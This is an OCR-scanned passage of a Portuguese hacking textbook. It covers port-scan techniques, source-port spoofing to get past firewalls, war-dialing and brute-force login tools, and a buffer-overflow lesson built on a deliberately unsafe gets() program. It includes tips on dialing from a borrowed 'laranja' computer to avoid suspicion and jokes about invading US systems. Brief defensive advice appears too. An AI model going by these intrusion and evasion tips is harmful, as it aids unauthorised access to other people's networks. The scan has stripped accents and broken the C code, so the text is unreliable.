Embora existam centenas de portscanners por a, indiscutivelmente o Nmap
o que traz uma melhor relao custo!benefcio: gratuito, possui um bom
conjunto de testes e est em desenvolvimento contnuo.

12401
Ataque, defesa e contra-ataque: Busca [

Universidade 3 Ano
Para saber as opes do Nmap, veja a pgina de manual (man nrnap) ou o
Help da verso Windows. As verses com frontends (Windows e Unix) possuem, no painel de controle, chaves para quase todos os testes e uma barra de
status na qual mostrado como ficaria a linha de comando. No vamos entrar
em detalhes de utilizao do Nmap aqui. Em vez disso, vamos falar sobre as
formas diferentes de "torcer" o handshake TCP.
O comando Nmap rodado sem argumentos faz uma conexo completa na
porta testada, o que quer dizer que todo o handshake TCP respeitado. Obviamente, esse scan extremamente ruidoso e facilmente detectvel.

Escolhendo as portas de origem


Algumas redes permitem que certas portas de origem possam originar conexes de fora da Internet. Como vimos, em Redes 11,os f1ltros de pacotes que
funcionam como firewalls barram conexes vindas da Internet baseadas em
regras. Entre as regras mais comuns e manjadas est aquela que barra todas as
portas no privilegiadas (ou seja, maiores que 1023) vindas de fora para dentro da rede. Com isso, o administrador pensa que est protegendo sua rede de
conexes originadas da mquina dos hackers.
Ele pode at pensar, mas pensa errado! Nada impede que os hackers manipulem as portas de origem de seus pacotes TCP e UDP enviados ao firewall
da vtima, fazendo-o pensar que so respostas vlidas a requisies vindas de
dentro da rede.
O exemplo clssico a porta 80. Se o black hat combinar a utilizao de 80
como sua porta de origem (os portscans dignos desse nome permitem isso) com
o flag ACK acionado, o bobalho do firewall vai pensar que este um pacote
vlido - e o deixar entrar.

Firewall
(filtro de pacotes)

18

12411

]Ataque, defesa e contra-ataque:

Busca

I Universidade

H40~3R

Outras portas que podem ser de interesse: 20 (resposta de FTP), 21 (requisio de FTP), 25 (resposta de SMTP), 53 UDP e 53 TCP (requisio e resposta de
DNS) e 666/667 TCP e UDP (resposta do servidor de Doom e Quake - tenha
certeza, seu administrador deixou estas abertas para jogar noite). Veja bem:
estamos falando de portas de origem. As portas de destino sero escaneadas.
Talvez um estudo da RFC1700 (www.ietf.org/rfc.hyml)
seja revelador.
Para encontrar quais portas o firewall est deixando passar alm dessas
bvias, podemos usar padres de fmgerprinting (que veremos mais frente),
combinados com as tcnicas de traceroute e ping, para descobrir como funcionam as regras dos firewalls. No h muitos softwares bons que fazem isso,
mas um digno de nota. Existe exclusivamente para Unix e se chama FirewaIk.
Disponvel em www.packetfactory.net/firewalk/.
possui uma documentao
que, se no grande, pelo menos bem completa. Com o Firewalk, fica muito
fcil determinar as portas abertas de um filtro de pacotes funcionando como
firewall e, depois, aplicar portscans direcionados s mquinas internas passando por essas portas no filtradas.

Varrendo sob o tapete


H vrias formas de usar portscanners para verificar as portas abertas. J conhecemos
o handshake completo e a conexo por ACK (vistos em Redes ll).Abaixo, segue uma lista
completa das possibilidades usando os flags do Tcp, e, de quebra, um scan UDP:
TCP Conneet Sean: scan facilmente detectvel, executa os trs handshakes
bsicos (SYN, SYN/ACK e ACK). O sistema realmente completa a conexo entre o servio sendo escaneado e o scanner - e, para isso, informaes completas sobre o aplicativo-cliente (o scanner) so passadas ao servidor (o servio).
TCP SYN Sean: Conhecido como half-open scanning, devido conexo total TCP
durante a operao. Dessa forma, ele evita que o log da operao fique no sistema.
Normalmente, o programa envia um pacote SYN para a porta alvo. Se recebido
um SYN/ACK do alvo, o programa deduz que a porta est no modo de escuta; caso
seja um RST/ACK, significa que a porta no est ativa naquele momento.
UPD Sean: Trata-se de um dos processos mais lentos e imprecisos de scanning,
pois depende de fatores de utilizao da rede e de recursos de sistema. O scanner
envia um pacote UDP para a porta alvo: se a resposta for ICMP port unreachab1e, a
porta encontra-se fechada; caso contrrio, o scanner deduz que a porta est aberta.
TCP Null Sean: Neste caso, o scan desativa todos os flags e aguarda do alvo
um RST, que identifica a porta como fechada. Se nada responder, a porta pode
estar aberta (mas no certeza).
TCP FIN Sean: O scanner envia pacotes FIN para a porta alvo e espera o
retorno de um RST, identificando as portas fechadas. Se nada responder, a porta pode estar aberta (novamente, sem nenhuma certeza).
TCP Xmas Sean: O scanner envia pacotes FIN, URG e PSH para a porta alvo
e espera o retorno de um RTS para portas fechadas. Nenhuma resposta indica
possvel porta aberta.

2421
Ataque. defesa e contra-ataque: Busca [

Universidade 3 Ano

Impresso

digitaL na Web

Identificar o sistema operacional que est rodando no n especificado primordial para explorar as vulnerabilidades possivelmente presentes. A tcnica
usada na determinao do SO dos hosts chama-se fmger printing (ou, coleta de
impresso digital).
possvel enviar, seqencialmente, todos os testes TCP e UDP descritos para
as portas de um n. Dependendo da maneira como responde, possvel saber
qual sistema operacional est rodando naquele host.
O Cheops e o Nmap fazem isso magistralmente. Procure a documentao de ambos para saber como us-los e como interpretar os resultados. Para saber mais sobre
como ftrnciona o finger printing, procure por finger printing os determination ou
por tep udp fingerprinting em seu mecanismo de buscas favorito.

Tem mais?
H diversas tcnicas de portscan. Relacionar todas no seria possvel em um
livro de 350 pginas como este. Mas relacionamos abaixo mais alguns tipos,
cuja descrio pode ser facilmente encontrada na Internet.
~ FTP Bounee: usa uma caracterstica antiga dos servidores FTp' que a
possibilidade de utilizar um servidor FTP como intermedirio a fim de enviar
um arquivo para uma terceira mquina. Como possvel controlar em qual
porta ser feita a conexo, pode-se, manualmente, varrer todas as portas da
terceira mquina (a vtima) at conseguir conexo. Na vtima, estar registrado
o IP do servidor FTP e no do hacker. Tambm chamado de FTP forwarding.
~ Falhas de RCP: j falamos sobre Remote Procedure Calls em Redes I.
Todos os sistemas operacionais possuem alguma implementao de servios
RPC, e praticamente todos tm alguma que responda incorretamente a uma
conexo, revelando que aceita a conexo (apesar de no necessariamente ser
vulnervel). Procure por RPC Sean e RPC Exploit.

Procurando brechas
J falamos alguma coisa sobre furos de segurana nos dois captulos sobre
vulnerabilidades. O que um scanner de vulnerabilidade faz, normalmente, testar
cada um dos servios oferecidos de acordo com padres preestabelecidos. Caso o
sistema responda tambm de acordo com padres reconhecidamente pertencentes s verses falhas, o scanner o reporta como "bugado" e, portanto, possivelmente vulnervel.Todos os fmgerprints (tanto de solicitao quanto de resposta) esto
guardados em bancos de dados cuja atualizao constante e contnua.
Havamos preparado, para esta seo, um texto muito extenso, didtico e facilmente digervel sobre diversos scanners de vulnerabilidades. Mas, olhando para
aquilo tudo, pensamos: "estamos negando ao leitor a oportunidade de aprender".
De fato, se dssemos o peixe, estaramos condenando-o a ser um script kiddie
para o resto da vida. Se o ensinssemos a pescar, ainda assim no haveria opor-

12431

] Ataque, defesa

e contra-ataque:

Busca

I Universidade

H4CK3R I

tunidade para pensar, raciocinar e ver como as coisas funcionam. Portanto, em


vez de dar o peixe ou ensin-Io a pescar, decidimos apenas mostrar-lhe o lago.
As varas de pesca esto l. Ponha a cuca para funcionar, a mo na massa e
aprenda um pouco sozinho!
Os endereos das duas "varas de pesca" mais famosas encontram-se abaixo.
Estude-as completamente, lendo toda a sua documentao e procurando mais
informaes na Internet. Se ficar em dvida, pea ajuda! H muitos grupos de
discusso sobre redes com pessoas dispostas a ajudar - voc pode encontrar o
endereo de alguns nos captulos sobre redes. Se voc procurar bem, ver que
pode ler e aprender muita coisa antes mesmo de colocar os dedos no teclado
para escarafunchar nos buracos de algum (sem trocadilho, por favor!).
~ Nessus: www.nessus.org
~ Gherkin: www.altmode.com/gherkin/
Adicionalmente, buscas na Internet vo lhe mostrar diversas ferramentas (livres ou no) de scanners de vulnerabilidade.Voc ver coisas como COPS,SAINT,
NetSaint, SARA,VLAD,NetSonar... Brinque primeiro com os dois sugeridos.
Depois que se cansar deles, baixe (ou compre, se for o caso) os outros e divirtase mais um pouquinho. Hackerismo isso: aprenda fazendo. Pense!

Defesa e contra-ataque
Para defender-se de hackers (ou kiddies) que varrem sua rede o tempo todo,
necessrio obedecer a algumas regras fundamentais:
~ Atualize seu sistema! Sistemas desatualizados so grandes fontes de problemas, no apenas de segurana, mas de estabilidade tambm. Seu fornecedor
de tecnologia normalmente oferece atualizaes gratuitas quando a falha
deles. No deixe passar!
~ Dispare um scan contra voc mesmo. No espere que um hacker descubra que voc usa um IIS vulnervel falha de Unicode ou um Sendmail com o
conhecido Sendmail Bug. Ou pior: que seu fl1"ewall um queijo suo. Os scanners
esto a para ajud-Io. Use-os!
~ Desligue os servios desnecessrios. Se voc montou um servidor Web, que
serve apenas para isso, por que vai querer um SMTPescutando na porta 25, um
POP na porta 110 e um X na 6OO0?Deixe rodando apenas o que efetivamente ser
usado. No s para deixar menos portas para o hacker usar, como tambm porque
voc vai se esquecer dele e no aplicar os patches de segurana pertinentes.
~ Revise seu firewalI. Se os seus scans esto passando, seu firewall precisa
de uma reviso. Considere trocar o f11trode pacotes comum por um orientado
a estados e melhore as ACLs do proxy no lado de dentro do DMZ.Alis, voc
tem um DMZ, no tem?
~ Instale sistemas de deteco de intmsos, ou IDS.Veremos sistemas IDS
nos apndices no CD-ROM. Mas importante instalar um desses para garantir
que seus logs sero preservados e qualquer invaso seja prontamente rastreada.

12441
Ataque, defesa e contra-ataque: Busca [

Universidade 3 Ano

Contra-atacar nesses casos, embora possvel (pois um kiddie ruidoso ficaria


nos logs, e mesmo hackers experientes cometem deslizes), no seria justificvel. Neste ponto, apesar de perigosamente no limiar, o hacker ainda no ultrapassou a barreira da legalidade. Verifique sempre seus logs e use possveis
scans e ataques como avisos para atualizar seus sistemas.

12451

] Ataque, defesa

e contra-ataque:

Busca

Ataque, defesa e
contra-ataque:

Invaso
''Abordar navios mercantes
invadir, pilhar, tomar o que nosso!...!
Preparar a nossa invaso

E fazer justia com as proprias mos. "I


RPM, "Rdio Pirata"

1. Do

albuIn Revolues

por Ininuto.

de 198/>'

I Universidade H4CK3R I

"Por que o cachorro entrou na igreja"? Ante essa pergunta capiciosa, a maioria das pessoas, depois de "raciocinar" um pouco, disparam respostas das mais
estapafrdias e incongruentes
que o ser humano pode ser capaz de conceber.
"Poque o padre chamou". "Porque os anjos o conduziram
para a plenitude
espiritual". "Porque ouviu um chamado de Al para destruir o templo de idolatria dos infiis". "Porque quis". "Porque sim". "Porque havia quermesse e ele
sentiu cheiro de lingia". "Porque estava no colo da dona". "Ah, vai te cat,
mano"! Mas a resposta correta a mais simples e lgica de todas. O cachorro
entrou na igreja porque a porta estava aberta.
A partir deste ponto ultrapassamos
os limites. A legislao brasileira no
reconhece o acesso a sistemas que estejam abertos Internet como invaso, da
mesma forma como entrar num shopping center tambm no invaso: as
portas esto abertas para tal.
Pela lei norte-americana,
entretanto, esse tipo de invaso (de sistemas e de
shopping centers) j considerado invaso de propriedade. Se voc no bem
vindo em um sistema, pode ser processado se entrar. Se no bem vindo em um
shopping center, tambm pode! Houve pelo menos um caso, divulgado pela imprensa, de um cidado americano processado por invaso de propriedade por
estar na rea pblica de um shopping. Explico: ele estava com uma camiseta
pacifista (a frase exata era "Give peace a chance", de JoOO Lennon) e a segurana
do shopping solicitou que ele retirasse a camiseta ou deixasse o prdio. Como
recusou-se a ambas as coisas, foi preso e processado. Home of the free...
Cuidado, portanto, quando invadir sistemas geograficamente
instalados l ou
pertencentes
a empresas daquele pas. Voc ser processado pelas leis de l, e
provvel que seja extraditado. Hackerismo = Terrorismo = Priso Perptua...
J deu pra notar, n?

A invaso em etapas
Assim como dividimos nosso ataque em seis passos diferentes, o passo quatro - invaso - pode ser dividido em duas etapas.
A primeira etapa o acesso a um host da rede. Como vimos nos captulos de
redes, as redes internas das empresas normalmente
no utilizam nmeros IP
roteveis pela Internet. Portanto, temos que invadir primeiramente
um computador limtrofe que possua duas interfaces de rede e, portanto, atenda a ambas.
Normalmente
o prprio ftrewall, ou um proxy, mas possvel que falhas de
configurao ou mesmo descuido possam escancarar outros sistemas.
Para a primeira etapa, um nmero limitado de tcnicas pode se empregado. Entre
eles, a procura por modems aceitando conexes externas (war dialing) e a explorao de falhas especficas atravs de exploits. Observe que nenhum sistema em especial visado. Os crackers podem apontar suas miras tanto em servidores como em
estaes de trabalho e mesmo em componentes de rack como roteadores e afins!

12481
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

A segunda etapa mais trabalhosa que difcil. Uma vez conseguido o acesso rede
interna, passa-se invaso sistemtica dos computadores dentro da rede. Essa
etapa pressupe quebra de senhas e acesso a reas restritas mesmo para quem est
dentro. Dizemos que trabalhosa porque, uma vez dentro, cada um dos sistemas
autnomos disponveis para os usurios internos requer toda aquela metodologia
que vimos: Planejamento, Observao, Busca, Invaso, Manuteno e Evaso. E no
esquea: vrios microataques 1-2-1-3-1-4-1-5-1-6-1...Sempre corrija e ajuste seu planos! As coisas mudam, os dados mudam, o administrador muda e voc sempre tem
informaes novas. Se quer sucesso, organize-se!
E,se voc for um lammer,no tem o que fazer por aqui, j que voc no quer saber de
aprender nada.V brincar com os exploits publicados e deixe os profissionais trabalharem!

War Dialing + Brute Force


Redes bem configuradas permitem acesso a elas apenas por pontos bem especficos e controladssimos, normalmente uma nica conexo com a Internet.
Empresas muito grandes possuem vrios links, mas todos eles so (ou deveriam
ser) controlados e monitorados com rigor. Entretanto, alguns funcionrios "espertos" tentam driblar a lentido ou os controles de acesso a sites no-autorizados com conexes discadas ou ADSLligados diretamente a suas estaes. Esses
funcionrios no tm noo do perigo real representado por essa prtica: tais
conexes so totalmente desprotegidas, e uma vez com acesso a essas conexes,
o hacker j est dentro da rede, e pode queimar diversas etapas de sua invaso.
Em outras ocasies, a prpria empresa precisa proporcionar acesso discado
a seus funcionrios viajantes, ou aos que trabalham em casa. Para tanto, possuem uma bateria de modems e dezenas de nmeros de telefone disponveis para
receber chamadas e conexes. Um prato cheio para hackers!
Sim, sim, no ia deixar de comentar que o termo War Dialing foi cunhado no
filme War Games de 1983 em que Matthew Broderick discava para todos os
nmeros que ele conseguia atrs de modems livres. Mas isso provavelmente
voc j sabe. Se no, v at sua locadora e pea o filme Jogos de Guerra. Se no
um filme excelente, pelo menos as referncias tecnolgicas esto corretas dentro, claro, dos limites da preciso hollywoodiana. Mais informaes podem ser encontradas em orbita.starmedia.com/-necrose/Sci-Fi/Filmesl
wargames.htm, www.movieprop.com/tvandmovie/reviews/wargames.htm
e
jbonline. terra. com. br Ijb/papel/cadernos/internet/200
11081 151
jorinf20010815003.html.

Conhea suas armas


War dialing guerra. Se voc um soldado, vai guerra e no leva sua espada, est frito! As ferramentas usadas pelos war dialers so chamadas, normalmente de... war dialers. Uma busca no Google traria diversos sites com essas

12491

IAtaque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

ferramentas, a maioria gratuitas e muitas delas com cdigo fonte aberto e livre.
Mas, em uma excepcional colher de ch, a vai um link com algumas delas:
neworder. box. sk/box. php::)? gfx=neworder&prj
=neworder&key
=wardil&txt= Wardia1ers.
Recomendamos epecialmente, entre eles, o THC Scan (www.thc.org). a ferramenta n 1 de War Dialing hoje em dia. Foi desenvolvida para DOS, mas pode
ser usada em Unix com emuladores, como o Dosemu.
Se voc quer dar uma olhada em como as coisas comearam, procure por
Demon Dia1er e pelo ToneLoc. So ferramentas parecidas com as que os
Phreakers usavam na poca do ftlme de Broderick, incluindo o prprio mockup da cena.
Para Unix, alm do excelente THC Scan + Dosemu h alguns nativos como o
WARD, cuja descrio est no endereo www.securiteam.com/tools/
6TOOOIP5QM.html e pode ser baixado e www.Oxdeadbeef.info/code/ward.c;
ou prolas como o Jericho e o ShockDial, ambos encontrveis
em
www.securityfocus.com/tools/
category /26.
H tambm muitos war dialers comerciais, destinados a permitir que empresas
testem suas instalaes procura de modems perdidos. Uma das mais completas
o Phone Sweep (www.sandstorm.net).Alm da excelncia do software, a empresa
promete consultoria e suporte por assinatura (com pagamento mensal).

EI

1'1.11*
2001-07-2003:25
2001-07-2019:51
2001-07-20 20 52
2001-07-2021 :40
2001-07-2022:26

~1001

250

~}

~1002

1'1.11*

$
$

1iil1003
~1004

1'1.11*

$
$

_1005
~1006

1'1.11*
1'1.11*

2001-07-1822:15

NOJACSIMILEUnknown
Unknown
CARRIER

2001-07-1823:42

VOICE

Unknown

2001-07-1901:42

TIMEOUT

Unknown

2001-07-1922:08

VOICE

Unknown

Ataque, defesa e contra-ataque:

1'1""

1'1.11*
1'1.11*
n
1'1

I
Invaso

Unknown
Unknown
Unknown
Unknown
Unknown

1'1.11*
2001-07-1822:13

[tI[tI-

8USY
8USY
8USY
BUSY
BUSY

Universidade 3ano

Uma lista de equipamentos reconhecidamente vulnerveis e detectveis pelo


Phone Sweep podem ser encontrados em www.sandstorm.net/products/
phonesweep//sysids.shtml.
Outra opo o TeleSweep, da Securelogic. Mais informaes
em
telesweepsecure .securelogix.com.
Nossa recomendao: baixe, instale e brinque com, pelo menos, as ferramentas gratuitas listadas aqui. Voc vai descobrir que, nesta poca de ADSLe Cable
Modem, ainda existem MUITOSmodems discados recebendo chamadas por a,
especialmente em empresas.
Outra dica: voc pode usar os discadores dos provedores de acesso como
War Dialers improvisados!!! A maioria deles possuem um arquivo externo com
a lista de nmeros de telefone de conexo. Basta substituir essa lista por uma
especialmente criada, e voc ter um war dialer instantneo, inclusive com
rediscagem automtica e varredura de todos os nmeros da lista. Baixe os
discadores de todos os provedores que voc se lembrar e verifique. Esta dica
muito til quando se est usando um computador laranja como discador e no
se quer levantar suspeitas com programas especializados. Um THC Scan levantaria suspeitas no computador do seu tio, mas o discador do iG (ou do Terra,
do iBest, do UOL ou da AOL...) passaria despercebido, ainda mais se o seu tio
for assinante de um desses provedores.

Ah, a fora bruta to linda...


Certo, voc descobriu nmeros de telefone que possuem modems atendendo
a chamados externos. Mas e agora, o qu fazer com eles? Entra agora em cena
outro tipo de war dialer que, ao invs de varrer nmeros atrs de modems, faz
inmeras tentativas de login em um mesmo nmero.
Se em outros tipos de controle de acesso por login e senha possvel encontrar outros meios de entrada alm do brute-force, com modems a coisa diferente. Voc no tem qualquer outra informao alm do prompt do sistema
pedindo um usurio vlido. Sua nica sada usar um programa de fora bruta
para tentar entrar. Logicamente, usar suas listas de palavras (que vimos nos
captulos sobre vulnerabilidades) e saber o nome de algum usurio ajuda muito aqui.Ateno lammers! Usar SQLinjection em modems a demonstrao de
burrice mais enfadonha que voc poderia cometer. No que faa algum mal,
mas mostra claramente que voc no entende nada de nada, mesmo... V brincar de carrinho ou de boneca!
Se voc usou o THC Scan, um bom companheiro para ele o THC Login
Hacker. Baixe-o e veja como fcil entrar, quando se encontra um modem
"compreensivo". No site oficial h diversos programas, exploits e brute-forcers
para muitos protocolos, incluindo 5MB, HTTP, FTP e Proxy. Verifique em
www.thc.org/releases. php.
A propsito, THC acrnimo para The Hackers Choice... Apesar da arrogn1251

IAtaque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

cia e presuno do ttulo auto-outorgado, as ferramentas so realmente muito


boas. No site ainda encontramos diversos whitepapers sobre invaso e segurana dignos de leitura.

Entendendo o estouro de pilha


(buffer overflowJ
Vrios exploits valem-se dos chamados buffer overflows para conseguir um
shell nos sistemas vulnerveis a eles. Os script kiddies aplicam pesadamente
tais exploits em suas presas sem saber exatamente o que so e como funcionam. Como queremos ter mais do que noes, na verdade, um entendimento
completo de como essas ferramentas operam, teremos que escovar um pouco
mais de bits, dessa vez olhando atentamente o cdigo dos aplicativos. No
preciso dizer que ser necessrio desenferrujar seus conhecimentos de linguagens de programao, mas nada de outro planeta.
Como o nome estouro de pilha, obviamente h uma pilha a ser estourada
(d!). Para entender como o estouro funciona, devemos, primeiramente,
conceituar o que seria essa tal de pilha.

Um amontoado de coisas...
A palavra portuguesa pilha nos traz cabea duas imagens:
1. Uma pilha de pedras, de pratos, de moedas, de corpos no filme do Stallone...
2. Uma clula de energia eltrica usada em lanternas portteis e brinquedos.
Peguemos a primeira imagem. Uma pilha de moedas, por exemplo, daquelas
que o Tio Patinhas tem em cima de sua escrivaninha na caixa-forte. O adorvel
po-duro de Patpolis arruma diligentemente suas moedinhas, uma sobre a
outra. Com isso, quando vai guard-Ias na caixa-forte o bom varo retira cuidadosamente a primeira moeda e a pe no saco de dinheiro, depois a segunda,
depois a terceira... Observe um detalhe: a primeira moeda a ser retirada foi a
ultima a ser colocada.
No exemplo da pilha de pedras, Fred Flintstone usando seu tratorossauro
recolhe pedras retiradas da encosta e as empilha no local indicado pelo Sr.
Pedregulho Slate, seu chefe. Note que, nesse caso, as pedras que Fred pega
primeiro so as que vo ficar por baixo da pilha. Mas talvez o melhor exemplo
(e mais til) seja mesmo o da pilha de pratos. Podemos inclusive usar um exemplo de pilhas recursivas. Quando os pratos esto sujos na mesa e a loua do dia
sua (...), voc recolhe-os e os empilha nas mos ou em uma bandeja. Observe:
o ltimo prato que voc pegou fica no topo da pilha. Quando chega cozinha,
faz o caminho inverso. Como no d pra colocar a pilha toda de uma vez, voc
pega prato por prato e os empilha novamente, desta vez na pia. medida que
os vai lavando, voc os empilha pela terceira vez (agora j limpos) do outro
1252

Ataque, defesa e contra-ataque:

Invaso r

Universidade 3ano

lado da cuba, e novamente o que era ltimo ficou primeiro. Para guard-Ios no
armrio... , acho que voc j entendeu.
E as pilhas de lanterna? Elas no tm muito haver com o papo agora. S por
curiosidade, o nome "pilha" dado a esse elemento gerador de energia porque as
primeiras clulas quimio-eltricas eram, er, bem, diversos discos de metais diferentes (parecidos com moedas, s vezes moedas mesmo!) alternados entre si e
mergulhados em uma soluo cida ou salgada. Pensando bem, at tem haver...

As piLhasno reino digitaL


E o que tm os computadores com isso? Pegando emprestado a noo de
pilhas, os programas em geral (e os sistemas operacionais em particular) podem pegar fragmentos de dados e os guardar em reas de memria chamadas
pilhas ou stacks. uma maneira fcil de armazenar pequenos dados, pois num
acessso convencional de memria o programa obrigado a:
1. Defmir a posio de memria onde o dado ser guardado;
2. Defmir o tamanho em bytes que o dado ter;
3. Reservar esse tamanho em bytes na posio defmida;
4. Mandar o dado para essa posio;
5. Bloquear a posio para que no seja sobreescrita.
Para recuperar o dado, o programa ter que:
1. Lembrar a posio de memria onde o dado est;
2. Apontar para aquela posio;
3. Lembrar o tamanho dos dados em bytes;
4. Puxar esses bytes daquela posio de memria;
5. Liberar a posio para uso futuro.
No caso da pilha, no h necessidade de nada disso. O programa pode simplesmente:
1. Mandar dados para a pilha (push).
Na hora de recuper-Ios, basta:
1. Puxar dados da pilha (pop).
claro, como um acesso seqencial e no aleatrio, caso queiramos usar o
segundo dado da pilha antes teremos que retirar o primeiro dado. Isso traz
dificuldades adicionais para o programa, que tem que "dar um jeito" de gerenciar
os dados da pilha corretamente. Mas h aplicaes onde essa abordagem a
melhor. Por exemplo, imagine que queiramos fazer um programinha que faa
uma soma de trs valores. A forma mais simples desse programa seria:
1. Chama funo soma(a,b);

1253 I

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

2.
3.
4.
5.
6.
7.
8.

H4CK3R I

Obtm primeiro nmero e o entrega funo soma;


Obtm o segundo nmero e o entrega funo soma;
Coloca o resultado na pilha;
Chama funo soma(a,b);
Obtm terceiro nmero e o entrega funo soma;
"Puxa" o topo da pilha e entrega funo soma;
Soma(a,b) faz a operao e joga o resultado na sada.

Observe que o resultado da primeira soma ficou armazenado na pilha, esperando ser chamado de volta ao fluxo normal do programa. Uma soluo como
essa envolvendo posies de memria demandaria funes para reservar memria para trs variveis, envio e recuperao triplicada de dados e possivelmente uma funo soma mais complexa.
Esse exemplo foi didtico, mas longe do ideal. Vamos ver um pequeno programa em C. Deve rodar de forma idntica em qualquer plataforma, pois no
usa bibliotecas especficas.
void funcao_idiota (void)
char xuxu[5];
gets

(xuxu);

printf(ll%s\nll, xuxu

);

main()
funcao_idiota()
return

o;

No se preocupe, voc no precisar ter visto um programa C alguma vez na


vida para entender este aqui. Veja s: qualquer linguagem estruturada que se
preze permite que voc crie, com os comandos bsicos que ela possui, funes
mais complexas para serem usadas pelo programa principal. Em nosso exemplo (e em qualquer cdigo C), o programa principal "marcado" pela funo
main( ). Dentro das chaves { e } temos o programa completo, composto por
duas outras funes:
main()
funcao_idiota()
return

o;

12541
Ataque, defesa e contra-ataque: Invaso r

Universidade 3ano

funcao_idiota( ) chama uma funo criada por ns mesmos, e declarada no


incio do programa. J a prxima linha, return O, indica que o programa deve
encerrar nessa linha e retornar para o shell que a chamou.
Temos que dedararfuncao_idiota()
antes dela poder ser usada. Ento, vamos a ela!
void funcao_idiota (void)
{
char xuxu[5];
gets

(xuxu);

printf(H%s\nH,

xuxu

);

A funo , a grosso modo, uma sub-rotina que pode ser usada vrias vezes
dentro do programa. Em nosso main( ) a usamos apenas uma vez, mas seria
possvel, se quisssemos, us-Ia em diversos locais do cdigo. O que essa idiotice faz : 1) criar uma varivel chamada xuxu com um tamanho de 5 bytes; 2)
usar a funo gets( ) da linguagem C para pegar caracteres do teclado e joglos na varivel xuxu; 3) usar a funo printf( ) para jogar o resultado na tela.
Se voc est em uma mquina Unix, pode compilar o programinha e test-lo.
Na maioria dos sitemas, use o comando:
$ cc -o idiota

idiota. c

Sendo idiota. c o arquivo texto contendo o cdigo do programa e idiota o


arquivo executvel gerado pelo compilador cc. No Linux e no FreeBSD use o
gcc em vez do cc.
Para rodar o programa, digite:
$ ./idiota

Aparentemente, nada acontecer. Tente digitar um caractere qualquer e pressionar a tecla <Enter>. O caracter ser replicado na tela. s isso o que o
programinha faz.
Em uma mquina DOS ou Windows, o procedimento parecido. Procure por
algum compilador de linha de comando. Se no souber onde procurar, comece
com alguns destes. Experimente TODOS e escolha seu preferido!
Para DOS podemos indicar:
~ DJGPp,o GCC do DOS: www.delorie.com/djgpp:
~ O venervel Borland Turbo C 2.01 (Autorizado! No pirataria!):
community. borland.com/museum ;
~ Pacific C: www.elrincondelc.com/compila/pacific.html
;
Para Windows, existem, entre muitas, as seguintes opes:
~ iCC Win32: www.cs.virginia.edu/-lcc-win32/index.html;
~ DevCPP: www.bloodshed.net/devcpp.html
(a escolha dos autores!);
Alis, em www.bloodshed.net
existem links para compiladores
de diversas
linguagens! Confira!
1255
I

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Voltemos ao nosso programa. Quando o main( ) chama funcao_idiota( ), o


processamento do programa principal interrompido e desviado para a funo. Quando a funo termina seu processamento, retoma rotina principal.
Observe o cdigo novamente, desta vez com o fluxo de processamento indicado por setas:
void funcao_idiota (void)
char xuxu[5];
gets

(xuxu);

printf(il%s\nil, xuxu

Retoma ao
programa
principal

Desvio
do
processamento

);

return;

main( )~
{

Inicio aqui
funcao_idiota()
return

Bonito, no? Em princpio, funciona. Mas, para interromper


o
processamento
de main( ),
neceesrio
colocar tudo o que
main( ) esteja fazendo em algum
lugar, desviar o processamento
para funcao_idiota(
), processar
o que estiver l e depois retorar
a main( ).A1m de devolver os possveis valores da funo chamada (o que no nosso caso - para
simplificar no passamos argumentos entre as funes), tambm precisamos ter um meio de
saber ONDE na memria estava
o processamento
de main( ) para
que retomemos o processo.
Complicado?
Tambm achei.
Uma ilustrao ajuda bastante!

12561
Ataque, defesa e contra-ataque:

Invaso

o;

..

Fim!

TOpO da Memria
Dados anteriores da pilha

Dados de main ()

Ponteiro de Retorno
Ponteiro da Pilha

Dados da funo idiota() (ou


seja, a varivel xuxu)

Universidade 3ano

Nooofaaaa (Com F mesmo. Lingua presa...) ! Mas no era uma pilha? Porque
est de cabea para baixo? Bem, normalmente as pilhas so armazenadas de
cima para baixo, sendo o dado mais antigo na posio mais alta de memria e
a pilha crescendo em direo posio mais baixa. Pense nela como uma pilha
de moedas feita no teto em direo ao cho. Talvez voc tenha que usar cola
para prender as moedas, mas ainda assim uma pilha.
Como dissemos, os dados de main( ) so jogados na pilha. Note que ela no
precisa estar necessariamente vazia, podendo conter, por exemplo, dados do
shell ou da janela onde o programa foi chamado. Depois do main( ), tambm
guardado no stack um ponteiro, chamado de ponteiro de endereo de retorno
ou return address pointer. ele que indica ao processamento onde encontrar a
prxima instruo depois do desvio (onde que eu estava mesmo?). Em nosso
caso especfico, o return pointer guarda o endereo de memria onde reside a
instruo return O.
Depois do ponteiro de retorno, o sistema coloca um ponteiro de pilha, que
aponta para uma tabela com dados de controle sobre a prpria pilha - que
obviamente o leitor compreende ser necessria. Por ltimo, vo os dados temporrios de nossa funo secundria, chamada por main( ). Em nosso caso, a
varivel xuxu, criada pela nossa funo funcao_idiota( ).
Quando a funo secundria termina seu processamento, os dados dela so
retirados da pilha, depois o ponteiro de controle da pilha, depois o ponteiro do
endereo de retorno. Quando o processamento retomado na posio original,
os dados de main so puxados da pilha e tudo volta a ser como era antes. Ser?

Debug is on the table2


Lembremos de dois detalhes vistos nos pargrafos anteriores. O segundo
tenho certeza que foi assimilado pelo leitor apenas como curiosidade, o primeiro deve ter passado despercebido:
1. A varivel xuxu foi declarada como contendo apenas cinco bytes;
2. A pilha armazena dados de baixo para cima.
L atrs ns testamos nosso programinha assim:
$ ./idiota
a
a
$

Quando o processamento chegou na funo gets( ), digitamos a letra "a". A


funo gets( ) colocou "a" dentro da varivel xuxu, que foi impressa na linha
seguinte pelo printf( ). Lembre-se de que xuxu tem um tamanho de apenas
cinco bytes. O que acontece se passarmos de cinco?
2. Aula de ingls geek? Essa frase realmente foi dita, durante uma conversa entre eu e o diretor de
informtica de uma empresa de aviao. Um estagirio ouviu a palavra debug no meio da conversa e saiuse com esta. At hoje eu e esse diretor de informtica usamos a expresso como piada local.

12571

]Ataque.

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Bem, tentamos com cinco letras "A:', a sada foi AAAAA. Com seis, AAAAAA.
Com sete, AAAAAAA. Com oito, aconteceu algo interessante:
$

./idiota

AAAAAAAA
AAAAAAAA

Falha de segmentao (core dumped)

$
Falha de segmentao!
O programa falhou e gerou um relatrio de erros
